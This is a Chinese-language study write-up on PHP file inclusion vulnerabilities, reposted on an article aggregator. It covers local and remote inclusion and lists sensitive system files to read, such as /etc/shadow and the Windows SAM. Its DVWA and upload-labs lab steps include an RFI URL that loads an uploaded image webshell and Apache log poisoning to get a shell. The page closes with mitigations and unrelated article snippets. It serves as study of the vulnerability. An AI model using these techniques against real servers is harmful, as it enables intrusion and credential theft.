文件包含學習總結

目錄

漏洞簡介

漏洞原理

漏洞分類

漏洞防御


漏洞簡介

  • 程序開發人員一般會把重復使用的函數寫到單個文件中,需要使用某個函數時直接調用此文件,而無需再次編寫,這種文件調用的過程一般被稱為文件包含。程序開發人員一般希望代碼更靈活,所以將被包含的文件設置為變量,用來進行動態調用,但正是由于這種靈活性,從而導致客戶端可以調用一個惡意文件,造成文件包含漏洞。

漏洞原理

  • 在通過PHP的函數引入文件時,由于傳入的文件名沒有經過合理的校驗,從而操作了預想之外的文件,導致意外的文件泄露甚至惡意的代碼注入。

漏洞分類

  • 本地文件包含

    • 只能包含本地服務器上存在的文件。

      • 用戶對輸入可控且無過濾

      • 可以利用相對路徑或絕對路徑讀取系統敏感文件

  • 遠程文件包含

    • 包含遠程服務器上的文件。

      需要php.ini開啟了allow_url_fopen和allow_url_include的配置。包含的文件是第三方服務器(比如:攻擊者自己搭建的一個Web服務器)的文件。

      • allow_url_fopen=On (默認為On) 規定是否允許從遠程服務器或者網站檢索數據

      • allow_url_include=On (php5.2之后默認為Off) 規定是否允許include/require遠程文件

    • 區別:

      • 本地文件包含就是通過瀏覽器包含web服務器上的文件,這種漏洞是因為瀏覽器包含文件時沒有進行嚴格的過濾,允許遍歷目錄的字符注入瀏覽器并執行

      • 遠程文件包含就是允許攻擊者包含一個遠程的文件,一般是在遠程服務器上預先設置好的腳本并對外開放一個web服務,以確保該腳本能被訪問到。此漏洞是因為瀏覽器對用戶的輸入沒有進行檢查,導致不同程度的信息泄露、拒絕服務攻擊,甚至在目標服務器上執行代碼。

      • 本地文件包含與遠程文件有著相同的原理,但前者只能包含服務器上存在的文件,而后者可以包含遠程服務器上的文件。

    • 文件包含函數:

      require() include()
      require_once() include_once()
      include和require區別主要是,include在包含的過程中如果出現錯誤,會拋出一個警告,程序繼續正常運行;而require函數出現錯誤的時候,會直接報錯并退出程序的執行。
      而include_once(),require_once()這兩個函數,與前兩個的不同之處在于這兩個函數只包含一次。適用于在腳本執行期間同一個文件有可能被包括超過一次的情況下,想確保它只被包括一次以避免函數重定義,變量重新賦值等問題。
    • 可能出現文件包含的點:url中出現:?page=xxx file=xxx ?home=xxx,并且后面的參數值是一個路徑或者文件,可以配合文件上傳進行驗證

    • 常見的敏感信息路徑:

      • windows:
        c:\boot.ini // 查看系統版本 c:\windows\system32\inetsrc\MetaBase.xml  //IIS配置文件 c:\windows\repair\sam //存儲windows系統初次安裝的密碼 c:\programFiles\mysql\my.ini //MYSQL root密碼
        c:\windows\php.ini // php 配置信息
      • linux:
        /etc/passwd // 賬戶信息
        ?
        /etc/shadow // 賬戶密碼文件
        ?
        /usr/local/app/apache2/conf/httpd.conf // Apache2默認配置文件
        /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虛擬網站配置
        ?
        /usr/local/app/php5/lib/php.ini // PHP相關配置
        ?
        /etc/httpd/conf/httpd.conf // Apache配置文件
        ?
        /etc/my.conf // mysql 配置文件
    • 遠程文件包含演示:這里使用的是dvwa和upload-labs結合,讓upload-labs文件包含漏洞模塊成功包含dvwa文件上傳的圖片馬.(此處注意包含的遠程文件不能為php文件,否則不是在upload-labs機器上執行,而是在原文件所在服務器上執行--源文件服務器可以解析PHP文件的情況下.)

      • 首先在dvwa中上傳圖片馬:

      • 使用upload-labs中的文件包含:http://127.0.0.1/upload_labs/include.php?file=http://192.168.111.144/hackable/uploads/fish.png發現成功包含:

        使用蟻劍連接成功:

    • 通過文件包含getshell:

      • 中間件日志包含:

        • 和之前文件包含類似,這里我們需要知道日志的地址,同時讓php代碼加載到日志中,并且讓文件包含文件能夠包含得到日志文件,這樣就可以getshell

        • 這里的實例仍然使用dvwa:首先賦予權限,確保web服務器可以訪問的到日志文件:chmod 755 /var/log/apache2 chmod 644 access.log 然后使用dvwa訪問一段php代碼,這里使用phpinfo做演示,注意,url中直接發送會使得特殊符號編碼,于是抓包修改,這里我們可以在日志文件中發現我們寫入的php代碼:

        • 在通過文件包含就可以執行,http://192.168.111.144/vulnerabilities/fi/?page=/var/log/apache2/access.log后續只需將phpinfo改為一句話木馬即可getshell

      • 配合文件上傳getshell:在upload-labs中已經進行演示,主要是利用文件上傳圖片馬,然后通過文件包含使得文件被當做php文件解析,最后蟻劍連接

漏洞防御

    1. 設置白名單(文件名可以確定)

    2. 過濾危險字符(判斷文件名稱是否為合法的php文件)

    3. 設置文件目錄權限(對可以包含的文件進行限制,可以使用白名單的方式,或者設置可以包含的目錄)

    4. 關閉危險配置(無需情況下設置allow_url_include和allow_url_fopen為關閉)

    5. 嚴格檢查include類的文件包含函數中的參數是否外界可控

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/90665.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/90665.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/90665.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

TQZC706開發板教程:創建PCIE項目

本例程基于zc706開發板,使用xdma核創建PCIE項目,最終實現插入主機可識別出Xilinx設備。在vivado中創建一個空的706項目。創建完成后添加IP核-->搜索xdma-->雙擊打開配置。添加XDMA核如下所示basic配置peic id中設置設備號等信息,這里保…

科技賦能景區生.態,負氧離子氣象監測站筑牢清新防線

負氧離子氣象監測站,如同景區空氣質量的堅固防線,默默守護著每一寸土地的清新。?它以精準的監測能力為防線基石。借助 “吸入式電容收集法”,能敏銳捕捉空氣中負氧離子的蹤跡,精準測量其濃度,同時將溫度、濕度、PM2.5…

AMD官網下載失敗,不讓賬戶登錄下載

別使用163郵箱 使用QQ郵箱,然后用GPT生成一個外國,比如日本的地區信息填上去就可以下載了

Elasticsearch-8.17.0 centos7安裝

下載鏈接 https://www.elastic.co/downloads/past-releases/elasticsearch-8-17-0 https://www.elastic.co/downloads/past-releases/logstash-8-17-0 https://www.elastic.co/cn/downloads/past-releases/kibana-8-17-0https://artifacts.elastic.co/downloads/elasticsearch/…

windows下SAS9.4軟件下載與安裝教程

SAS 9.4是SAS公司推出的一款功能強大的統計分析軟件,廣泛應用于數據分析、商業智能、預測分析、數據挖掘及統計建模等多個領域。數據處理與管理能力:SAS 9.4支持多種數據格式的導入導出,包括JSON、XML等,便于處理來自Web和API的數…

MyBatis-Plus極速開發指南

MyBatis-Plus簡介MyBatis-Plus 是一個 MyBatis 的增強工具,在 MyBatis 的基礎上只做增強不做改變,簡化開發,提高效率。它提供了以下主要特性:無侵入:只做增強不做改變,引入它不會對現有工程產生影響強大的 …

Django接口自動化平臺實現(五)

8. 測試用例執行 預期效果如下:用例執行邏輯如下:前端提交用例 id 列表到后臺,后臺獲取每一條用例的信息;后臺獲取域名信息、用例 id 列表;對用例的請求數據進行變量的參數化、函數化等預處理操作;根據先后…

一個沒有手動加分號引發的bug

最近因為分號的疏忽&#xff0c;導致出現了一個bug&#xff0c;記錄下來&#xff0c;分享給大家。 1、一個示例 給你下面這一段代碼&#xff0c;你根據經驗判斷一下運營結果 let [a,b] [a,b] let [x,y] [1,2] if(x < y){[x,y] [y,x][a,b] [b,a] }按照一般的理解&#xf…

Elasticsearch安全審計日志設置與最佳實踐

一、Elasticsearch安全審計簡介 審計日志&#xff08;Audit Logging&#xff09;用于記錄Elasticsearch中的安全相關事件&#xff0c;包括認證失敗、連接拒絕、數據訪問事件以及通過API對安全配置&#xff08;如用戶、角色、API密鑰&#xff09;的變更記錄。 注意&#xff1a;審…

算法訓練營day29 貪心算法③ 134. 加油站、135. 分發糖果 、860.檸檬水找零、406.根據身高重建隊列

貪心算法的第三篇博客&#xff0c;繼續腦筋風暴&#xff01; 134. 加油站 寫在前面 這道題規定了有解的話&#xff0c;必定為唯一解 貪心思路 直接從全局進行貪心選擇&#xff0c;情況如下&#xff1a; 情況一&#xff1a;如果gas的總和小于cost總和&#xff0c;那么無論從…

【09】C#入門到精通——C# 結構體對齊 與 常用數據 對應關系

文章目錄1 C# 結構體對齊1.1 默認對齊方式1.2 節對齊方式設置1.3 偏移量設置2 C#與C/C之間類型的對應關系1 C# 結構體對齊 1.1 默認對齊方式 struct默認對齊方式&#xff0c;結構體長度必須是&#xff0c;最大成員長度的整數倍&#xff0c;所以下面結構體大小是 24 (實際占用…

pytest 測試報告生成方案有哪些?

在 pytest 中&#xff0c;除了 Allure 和 HTMLTestRunner&#xff0c;還有許多其他生成測試報告的方法和插件。以下是一些常用的方案及其特點&#xff1a;1. pytest-html&#xff08;官方推薦&#xff09;特點&#xff1a;輕量級、易集成&#xff0c;生成獨立的 HTML 報告。安裝…

Unity中EditorPrefs與PlayerPrefs對比分析

Unity中EditorPrefs與PlayerPrefs對比分析 EditorPrefs與PlayerPrefs是Unity引擎中用于數據持久化的兩個核心類&#xff0c;分別用于于編輯器擴展與游戲運行時場景。以下從設計目標、存儲位置、數據類型、生命周期、安全性、使用場景等方面展開對比&#xff0c;并結合代碼示例說…

藍光中的愧疚

藍光中的愧疚活動結束那晚&#xff0c;深圳的空氣吸飽了水汽&#xff0c;沉甸甸地壓在胸口。我站在西鄉社區活動中心冰涼的玻璃門外&#xff0c;目送著最后一個離開的王老師。她關掉門廳的燈&#xff0c;電子門鎖合攏時發出輕微卻尖銳的“嘀”聲&#xff0c;像一根細針扎在我緊…

Linux: network: wireshark: esp attempt to detec null-encrypted esp payloads

最近看到一個pcap文件&#xff0c;里面有esp協議包&#xff0c;而且是明文/沒有加密的消息&#xff0c;為什么wireshark沒有將esp上層的tcp/sip消息沒有解出來。 類似于Info列只有ESP的信息。后來選中了協議選項里的&#xff1a;attempt to detect/decode NULL encrypted ESP p…

10分鐘搭建腳手架:Spring Boot 3.2 + Vue3 前后端分離模板

10分鐘搭建腳手架&#xff1a;Spring Boot 3.2 Vue3 前后端分離模板一、項目結構設計二、后端搭建&#xff08;Spring Boot 3.2&#xff09;1. 快速初始化&#xff08;使用 Spring Initializr&#xff09;2. 核心配置application.yml跨域配置 CorsConfig.java3. 安全配置Secur…

【軌物方案】分布式光伏電站運維升級智能化系列:老電站的數智化重生

自2010年分布式光伏在國內興起以來&#xff0c;十余年間&#xff0c;市場裝機容量已實現飛躍式增長。長期以來&#xff0c;傳統的人工巡查和抄表模式是它們日常運維的主要手段。然而&#xff0c;隨著電站數量的激增和設備的老化&#xff0c;由此導致的事故頻發&#xff0c;使得…

RAG 技術深度面試題:架構、優化與實踐應用

1. RAG 基礎架構設計 問題&#xff1a;對比單階段檢索&#xff08;Single-stage Retrieval&#xff09;與兩階段檢索&#xff08;Two-stage Retrieval&#xff09;在 RAG 系統中的架構差異&#xff0c;說明在企業知識庫場景下為何優先選擇兩階段檢索&#xff1f; 答案&#xff…

yolov8通道級剪枝講解(超詳細思考版)

為了提升推理速度并降低部署成本&#xff0c;模型剪枝已成為關鍵技術。本文將結合實踐操作&#xff0c;講解YOLOv8模型剪枝的方法原理、實施步驟及注意事項。 雖然YOLOv8n版本本身參數量少、推理速度快&#xff0c;能滿足大多數工業檢測需求&#xff0c;但谷歌研究表明&#x…

JavaSE:隨機數生成

隨機數在游戲開發、密碼學、模擬測試等場景中扮演著關鍵角色。本文將深入探討Java中兩種主流的隨機數生成技術&#xff1a;Random類和Math.random()方法&#xff0c;并解析背后的類與對象概念&#xff0c;助你全面掌握隨機數生成的核心機制。一、隨機數生成的兩大技術 Java提供…